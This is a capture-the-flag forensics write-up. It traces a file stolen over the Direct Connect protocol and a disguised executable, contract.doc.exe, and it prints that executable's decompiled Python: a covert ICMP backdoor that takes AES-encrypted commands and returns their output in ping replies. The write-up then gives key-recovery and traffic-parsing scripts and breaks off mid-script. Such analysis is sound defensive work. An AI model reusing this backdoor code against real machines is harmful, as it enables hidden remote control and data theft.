Try   HackMD

[Forensics] Direct-Love Writeup (TCP1P International CTF 2024)

tags: Network Analysis pyc powershell AES

Table of Contents

TL;DR

image

Challenge Description

My fiancée, Mizuhara Chizuru, lent her laptop to one of her friends. Her friend downloaded files using a peer-to-peer protocol on Windows. However, not long after, one of Chizuru's important documents went missing. There's always something with my fiancée :D

Attachment : 1 pcap file

Initial Analysis

From the given pcap, we can see that there are 2 interesting traffics, TCP and ICMP, which account for most part of the traffics.

image

We can't do much for the ICMP at the moment, because the payload data (siganture) is not recognizable. On the other hand, Since there's no TLS recorded on the traffic, it's safe to assume that the TCP packets are not encrypted, thus we can perhaps get recognizable data from the TCP streams.

There are 4 TCP streams in total, that is Stream 0 - 3. In all of the stream we can see readable data that looks like a bizzare communication protocol is being used.

image

Data from Stream 0

Turns out it is a Direct Connect protocol (NMDC). Direct Protocol is a peer-to-peer protocol that's usually used in devices communication, e.g printer, which also uses TCP layer. Moving on to stream 1, we could see a lot more data than before.

image

stream 1 (truncated)

There are some interesting keyword here, namely $ADCGET and $ADCSND.
Referencing to the popular NMDC docs, we could see that this commands are used for file transfer between connected host.

image

From this we can assume that we have to reconstruct data that's sent using DC protocol in all stream. To check whether our direction is correct, we can try to reconstruct the smaller file first, that is the files.xml.bz2.

To extract the appropriate data, we can just parse any data after "ZL1|" string in the $ADCSND block (refer and understand the documentation) and decompress them with zlib (ZL1 refers to zlib compression mode 1). I wasn't able to extract the complete file from Stream 1, but somehow stream 3 works fine. after decompressing the files.xml.bz2 , we can see that files.xml contains list of file in certain directory

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<FileListing Version="1" CID="RO7APB7TB2HL5UYKMGMTTLHMCAB6R2IXOQJVP4I" Base="/" Generator="DC++ 0.881">
<Directory Name="temp">
	<File Name="CDSA-logo.png" Size="136291" TTH="WDLOOWYMZPPUXTPIEEW52DFVD73INPNUO7XFEKQ"/>
	<File Name="contract.doc.exe" Size="18639229" TTH="Z4PSXU7CJ7YLW2PYTEFRTU4K2KIWUZIPQQNZ73I"/>
	<File Name="ghidra.txt" Size="0" TTH="LWPNACQDBZRYXW3VHJVCJ64QBZNGHOHHHZWCLNQ"/>
	<File Name="PowerDecode_report_4BBA5DAA82826FAA411E0B46C932BF057FAEFDF584726415687995B6C811890E.txt" Size="40992" TTH="6KSCXJ5YN2NJMBUI7CNEQVOTRK7P5D7G2HEMYFI"/>
	<File Name="secret.pdf.wkwk" Size="5839456" TTH="GZ7XSV6QV2OJDKLRKGG3MDQ5BJI7PQ7G6IT3SSA"/>
</Directory>
</FileListing>

There are 2 interesting files above, contract.doc.exe and secret.pdf.wkwk. At this point, im assuming (again) that this is kind of ransomware scenario. To my surprise, all of the 2 files are refenrenced in our TCP stream, not with their filename, but rather by their corresponding TTH in the files.xml. We now know, that stream 1 is traffic for contract.doc.exe file transfer, where as stream 3 is traffic for secret.pdf.wkwk file transer.

TCP Re-ordering and File Reconstruction (TCP Data)

Initially, when i tried to parse and decompress the data in stream 1, i always get zlib error in some part, resulting in corrupted final data. Long story short, i just realized that there are some TCP problems in stream 1 (only in stream 1 though), namely "TCP retransmission" and "TCP out-of-order".

image

TCP retranssmission and out-of-oder

That means, we have to re-sort the parsed data based on tcp.seq value before decompressing them. below are my scripts for these parts.

parse.py

Parse all $ADCND block and concatenate them to a single file as binary data.

import pyshark def parse_pcap_for_tcp_push(pcap_file, stream_number): display_filter = f"tcp.stream eq {stream_number}" cap = pyshark.FileCapture(pcap_file, display_filter=display_filter) print(f"Parsing TCP stream {stream_number} from {pcap_file}") placeholder = list() for packet in cap: try: if "TCP" in packet: tcp_layer = packet["TCP"] tcp_data = tcp_layer.payload dst_port = int(tcp_layer.dstport) tcp_data = bytes.fromhex(tcp_data.replace(":", "")) if ( tcp_data and len(tcp_data) > 1 and ( (stream_number == 3 and dst_port == 62406) or (stream_number == 1 and dst_port == 49816) or stream_number != 1 or stream_number != 3 ) ): placeholder.append((int(packet.tcp.seq), tcp_data)) except AttributeError as e: print(e) cap.close() return b"".join([y for _, y in sorted(placeholder, key=lambda x: x[0])]) pcap_file = "direct_love.pcapng" for i in range(4): if i != 3: continue with open(f"stream_{i}.bin", "wb") as target: buffer = parse_pcap_for_tcp_push(pcap_file, i) target.write(buffer)

decompress.py

parse data from each $ADCSND block, decompress them, append the bytes, and write them to a file as binary data

import zlib import re def find_all(substring, string): return [match.start() for match in re.finditer(re.escape(substring), string)] file = "stream_1.bin" with open(file, "rb") as src: with open("reconstructed_" + file, "wb") as dst: buff = src.read() reconstructed_buff = b"" adcsnd = find_all(b"$ADCSND", buff) zl1 = find_all(b"ZL1|", buff) print(adcsnd) print(zl1) if "stream_3" in file: adcsnd = adcsnd[3:] zl1 = zl1[2:] else: adcsnd = adcsnd[2:] zl1 = zl1[1:] total_bytes = 0 for i, start in enumerate(zl1): if i < len(zl1) - 1: start = start + 4 end = adcsnd[i] try: data = zlib.decompress(buff[start:end]) reconstructed_buff += data print( f"DONE ", f"BUFF[{start} : {end}] len (compressed) =", len(buff[start:end]), "len (decompressed)", len(data), ) total_bytes += len(data) except zlib.error as e: print(f"[Error index {i}]", e) print("[BUFF] Compressed Data length =", len(buff[start:end])) print("[Start-4 : Start+6]", buff[start - 4 : start + 6]) print("[End : End+6]", buff[end : end + 6]) else: start = zl1[-1] + 4 end = len(buff) - 1 try: data = zlib.decompress(buff[start:]) reconstructed_buff += data print( f"DONE ", f"BUFF[{start} : {end}] len (compressed) =", len(buff[start:end]), "len (decompressed)", len(data), ) total_bytes += len(data) except zlib.error as e: print("[BUFF] Compressed Data length =", len(buff[start:])) print("[ACTUAL BYTES WRITTEN]", dst.write(reconstructed_buff))

Using these scripts we were able to reconstruct the contract.doc.exe

To check if the reconstructed contract.doc.exe is not corrupted, make sure to compare the actual file size with the size inside files.xml. they should be the same

Python Bytecode Analysis

image

After getting the contract.doc.exe, we can see that it's a PE32 executable and after some analysis here and there, we found out that the executable contains many references to python-related lib, dll and files.

image

output of strings command

We assume that the exectuable is and exe made from python source code using python installer / compiler. to decompile and (perhaps) get the more readable source code, we used pyinstxtractor.

The tools "unpacked" our exe and outputs folder containings python bytecodes, dll, etc. there's 1 file that piqued or interest, that is server.pyc, because it's the only pyc file with not default or lib-ish naming lol. using pycdc to "decompile" the server.pyc we got the following result

# Source Generated with Decompyle++ # File: server.pyc (Python 3.10) from scapy.all import * import subprocess from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad import base64 import zlib import base64 def zenlesszonezero(input_bytes): return zlib.compress(input_bytes.encode()) def Zenonia(compressed_bytes): return zlib.decompress(compressed_bytes).decode() def gasskann(gg_bang): gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr) wibuuuuuuuuuuuuuu = pad(gg_bang, AES.block_size) anjirrrrrrr = gacorrrrrrrr.encrypt(wibuuuuuuuuuuuuuu) return bjirrrrrrrrrrrrrrrrrrr + anjirrrrrrr def ashiap(bjrit): bjirrrrrrrrrrrrrrrrrrr = bjrit[:16] anjirrrrrrr = bjrit[16:] gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr) wibuuuuuuuuuuuuuu = gacorrrrrrrr.decrypt(anjirrrrrrr) return unpad(wibuuuuuuuuuuuuuu, AES.block_size) def kazuyabjirrrrrrrrrr(ezChangli): Unsupported opcode: JUMP_IF_NOT_EXC_MATCH pass # WARNING: Decompyle incomplete def bengsky(kiaraaa): return len(kiaraaa) < 1024 def yellowww(Maling): if Maling.haslayer(ICMP) or Maling[ICMP].type == 8 or Maling.haslayer(Raw): msfir = Maling[IP].src azuketto = Maling[ICMP].seq kiaraaa = Maling[Raw].load if msfir not in kiaraaa_buffer: kiaraaa_buffer[msfir] = [] kiaraaa_buffer[msfir].append((azuketto, kiaraaa)) print(f'''Received kiaraaa {azuketto} from {msfir}''') if bengsky(kiaraaa): cutelittlebirb = b''.join((lambda .0: [ solderet for _, solderet in .0 ])(sorted(kiaraaa_buffer[msfir]))) ezChangli = Zenonia(ashiap(cutelittlebirb)) LKazuya = kazuyabjirrrrrrrrrr(ezChangli) if len(LKazuya) == 0: LKazuya = 'success' hoaaaaaahm = gasskann(zenlesszonezero(LKazuya)) del kiaraaa_buffer[msfir] yoasobi(hoaaaaaahm, msfir, Maling[ICMP].id) return None return None return None return None def yoasobi(gataubjrit, Mau_kemana_kita, booyah): MAX_kiaraaa_SIZE = 1024 kiaraaas = (lambda .0 = None: [ gataubjrit[i:i + MAX_kiaraaa_SIZE] for i in .0 ])(range(0, len(gataubjrit), MAX_kiaraaa_SIZE)) for kiara123, kiaraaa in enumerate(kiaraaas): reply = IP(Mau_kemana_kita, MizuharaChizuru, **('dst', 'src')) / ICMP(0, kiara123, booyah, **('type', 'seq', 'id')) / kiaraaa send(reply) print(f'''Sent kiaraaa {kiara123 + 1}/{len(kiaraaas)} of gataubjrit''') def gabutt(MizuharaChizuruPretty): if MizuharaChizuruPretty.haslayer(ICMP) or MizuharaChizuruPretty[ICMP].type == 8: ezChangli = ashiap(Zenonia(MizuharaChizuruPretty[Raw].load)) print(f'''{ezChangli}''') LKazuya = kazuyabjirrrrrrrrrr(ezChangli) if len(LKazuya) == 0: LKazuya = 'success' hoaaaaaahm = IP(MizuharaChizuruPretty[IP].src, MizuharaChizuru, **('dst', 'src')) / ICMP(0, **('type',)) / zenlesszonezero(gasskann(LKazuya)) send(hoaaaaaahm) return None return None def kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(awokawokawokawokawokawokawokawokawokawokawokawok): if len(awokawokawokawokawokawokawokawokawokawokawokawok) != 32: return False if None(awokawokawokawokawokawokawokawokawokawokawokawok[0]) ^ 0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2BL ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17L == 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75AL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1L % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3L == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470BL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346L % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43L == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2L and int(format(ord(awokawokawokawokawokawokawokawokawokawokawokawok[3]), 'o')) ^ 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B14L == 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B29L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[4]) + 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508L) % 256 == 110 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[5]) * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014L % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAAL == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[6]) + 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837L) % 256 == 111 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[7]) ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862EL >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924L * ord(awokawokawokawokawokawokawokawokawokawokawokawok[8]) ^ ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) % ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) << ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) == 0x620000000000000000000000000000000000064L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[8]) + 0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BFL) % 256 == 34 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) + 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4L) % 256 == 213 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) + 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1L) % 256 == 68 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728L) % 256 == 140 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) + 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37BL) % 256 == 172 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[13]) ^ 0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AEL ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790L == 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0FL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[14]) ^ 0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9FL ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFCL == 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15AL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[15]) * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0BL % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814L == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40L and ord(awokawokawokawokawokawokawokawokawokawokawokawok[16]) ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291L >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524CL * ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) ^ ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) % ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) << ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) + ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) == 0x1C8000000000000000000000000035L and ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8BL % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3L == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) + 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7BL) % 256 == 180 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) + 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27L) % 256 == 136 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) ^ 0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0L ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8L == 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) + 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4L) % 256 == 250 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[22]) + 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6CL) % 256 == 157 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[23]) + 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AAL) % 256 == 223 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[24]) ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677L == 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[25]) + 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8L) % 256 == 236 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[26]) + 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57L) % 256 == 138 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[27]) ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113L == 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[28]) + 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254L) % 256 == 184 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[29]) * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AEL % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081CL == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BAL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[30]) * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6L % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6EL == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726L and ord(awokawokawokawokawokawokawokawokawokawokawokawok[31]) ^ 0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0L ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0L == 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139L: return True bjirrrrrrrrrrrrrrrrrrr = get_random_bytes(16) MizuharaChizuru = '192.168.56.101' ChizuruMizuhara = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}' WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = str(input()) if not kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK): raise '?' kiaraaa_buffer = None WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = bytes.fromhex(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK) RET2LIBC = 0 print('...') sniff(ChizuruMizuhara, 'icmp', yellowww, **('iface', 'filter', 'prn'))

This is confusing, i know, especially with variable naming. But let's focus on the last parts first. The line sniff(ChizuruMizuhara, 'icmp', yellowww, **('iface', 'filter', 'prn')) is to sniff (listen) incoming icmp packet from ChizuruMizuhara device interface, and pass the sniffed packet to yellow function. ok, then what does the yellow function do?

before diving deeper into yellow function, let's rename/remap some function first.

  • zenlesszonezero -> compress
  • Zenonia -> decompress
  • gasskann -> encrypt
  • ashiap -> decrypt

now we can get a better picture of what yellow function does. For every ICMP request received and only process if ICMP.raw data length < 1024. It then decrypt, and decompress the data and pass it as the kazuyabjirrrrrrrrrr arguments. Unfortunately, we don't know the detail of kazuyabjirrrrrrrrrr since the OP_CODE of python used is not supported by pycdc, let's skip it for now.

the return of kazuyabjirrrrrrrrrr then will be compressed and encrypted before sent as ICMP reply (via yoasobi function). The gabut function is actually similar to yellow and yoasobi combined, but with the reversed order of compression-encryption and decompression-decryption operations. To be honest, I don't know when it is used, so let's just leave it for now.

File Reconstruction (ICMP)

Using our knowledge so far, we can then try to parse data from ICMP and decrypt-decompress them. To check if our step is correct, we can see that in all corressponding ICMP request-reply packet, the ICMP data begins with the same bytes.

image

ICMP request

image

ICMP reply

This 16 bytes in the beginning is the IV used in the AES encryption (refer back to the decompiled pyc, that IV is prepended to the encryption result). So we got the cipher suite, IV, but now what about the key?

Again, refer back to the decompiled server.pyc , we can see that the key used is the WKWKWKWKKW... variable. then we only need to reverse engineer the kawokaowkaowk.... function as it used as the WKWKWKWK.. validator. here's our script to do so.

key = ['?'] * 32 key[0] = chr(0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2B ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17 ^ 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75A) for i in range(257) : if (i * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1 % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3 == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470B) : print(i) key[1] = chr(i) for i in range(257) : if (i * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346 % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43 == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2) : print(i) key[2] = chr(i) key[3] = chr(49) key[4] = chr(110 - 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508 % 256) for i in range(257) : if (i * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014 % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAA == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78) : key[5] = chr(i) key[6] = chr(111 - 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837 % 256) key[8] = chr((34 - (0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BF % 256)) + 256) key[9] = chr(213 - 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4 % 256) key[10] = chr((68 - 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1 % 256) + 256) key[11] = chr(140 - 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728 % 256) key[12] = chr(172 - 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37B % 256) key[13] = chr(0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AE ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790 ^ 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0F) key[14] = chr(0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9F ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFC ^ 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15A) for i in range(257) : if (i * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0B % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814 == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40) : key[15] = chr(i) for i in range(257) : if (i * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8B % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3 == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492) : key[17] = chr(i) key[18] = chr(180 - 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7B % 256) key[19] = chr(136 - 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27 % 256) key[20] = chr(0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0 ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8 ^ 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071) key[21] = chr(250 - 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4 % 256) key[22] = chr(157 - 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6C % 256) key[23] = chr(223 - 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AA % 256) key[24] = chr(0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677 ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612) key[25] = chr(236 - 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8 % 256) key[26] = chr(138 - 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57 % 256) key[27] = chr(0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113 ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171) key[28] = chr(184 - 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254% 256) for i in range(257) : if (i * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AE % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081C == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BA) : key[29] = chr(i) for i in range(257) : if (i * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6 % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6E == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726) : key[30] = chr(i) key[31] = chr(0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0 ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0 ^ 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139) for i in range(257) : if (i ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862E >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924 * ord(key[8]) ^ ord(key[9]) % ord(key[10]) << ord(key[11]) + ord(key[12]) == 0x620000000000000000000000000000000000064) : key[7] = chr(i) for i in range(257) : if (i ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291 >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524C * ord(key[17]) ^ ord(key[18]) % ord(key[19]) << ord(key[20]) + ord(key[21]) == 0x1C8000000000000000000000000035) : key[16] = chr(i) print(key) key = ''.join(key) print(key)

Using the information we gathered so far, we can then extract all data from ICMP packet.

parse_icmp.py

from scapy.all import rdpcap, ICMP, Raw from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import zlib import zlib def decrypt(enc): iv = enc[:16] enc = enc[16:] key = bytes.fromhex("f001fa8dc1cd1190589a9615e43bd7f9") aes = AES.new(key=key, mode=AES.MODE_CBC, iv=iv) data = aes.decrypt(enc) return unpad(data, AES.block_size) def extract_icmp_data_with_payload(pcap_file): packets = rdpcap(pcap_file) buff_req_reconstructed = b"" buff_rep_reconstructed = b"" buff_req = list() for i, packet in enumerate(packets): if packet.haslayer(ICMP): icmp_layer = packet.getlayer(ICMP) if packet.haslayer(Raw): payload_data: bytes = packet.getlayer(Raw).load if icmp_layer.type == 8: if bytes.fromhex("5a66b5c7") in payload_data: if len(buff_req) > 0: data = zlib.decompress(decrypt(b"".join(buff_req))) buff_req_reconstructed += data buff_req.clear() else: print(f"[packet {i +1}] is not valid aes block. buff=", payload_data) buff_req.append(payload_data) elif icmp_layer.type == 0: if bytes.fromhex("82cfac05") in payload_data: data = zlib.decompress(decrypt(payload_data)) buff_rep_reconstructed += data if len(buff_req): buff_req_reconstructed += zlib.decompress(decrypt(b"".join(buff_req))) buff_req.clear() return (buff_req_reconstructed, buff_rep_reconstructed) pcap_file = 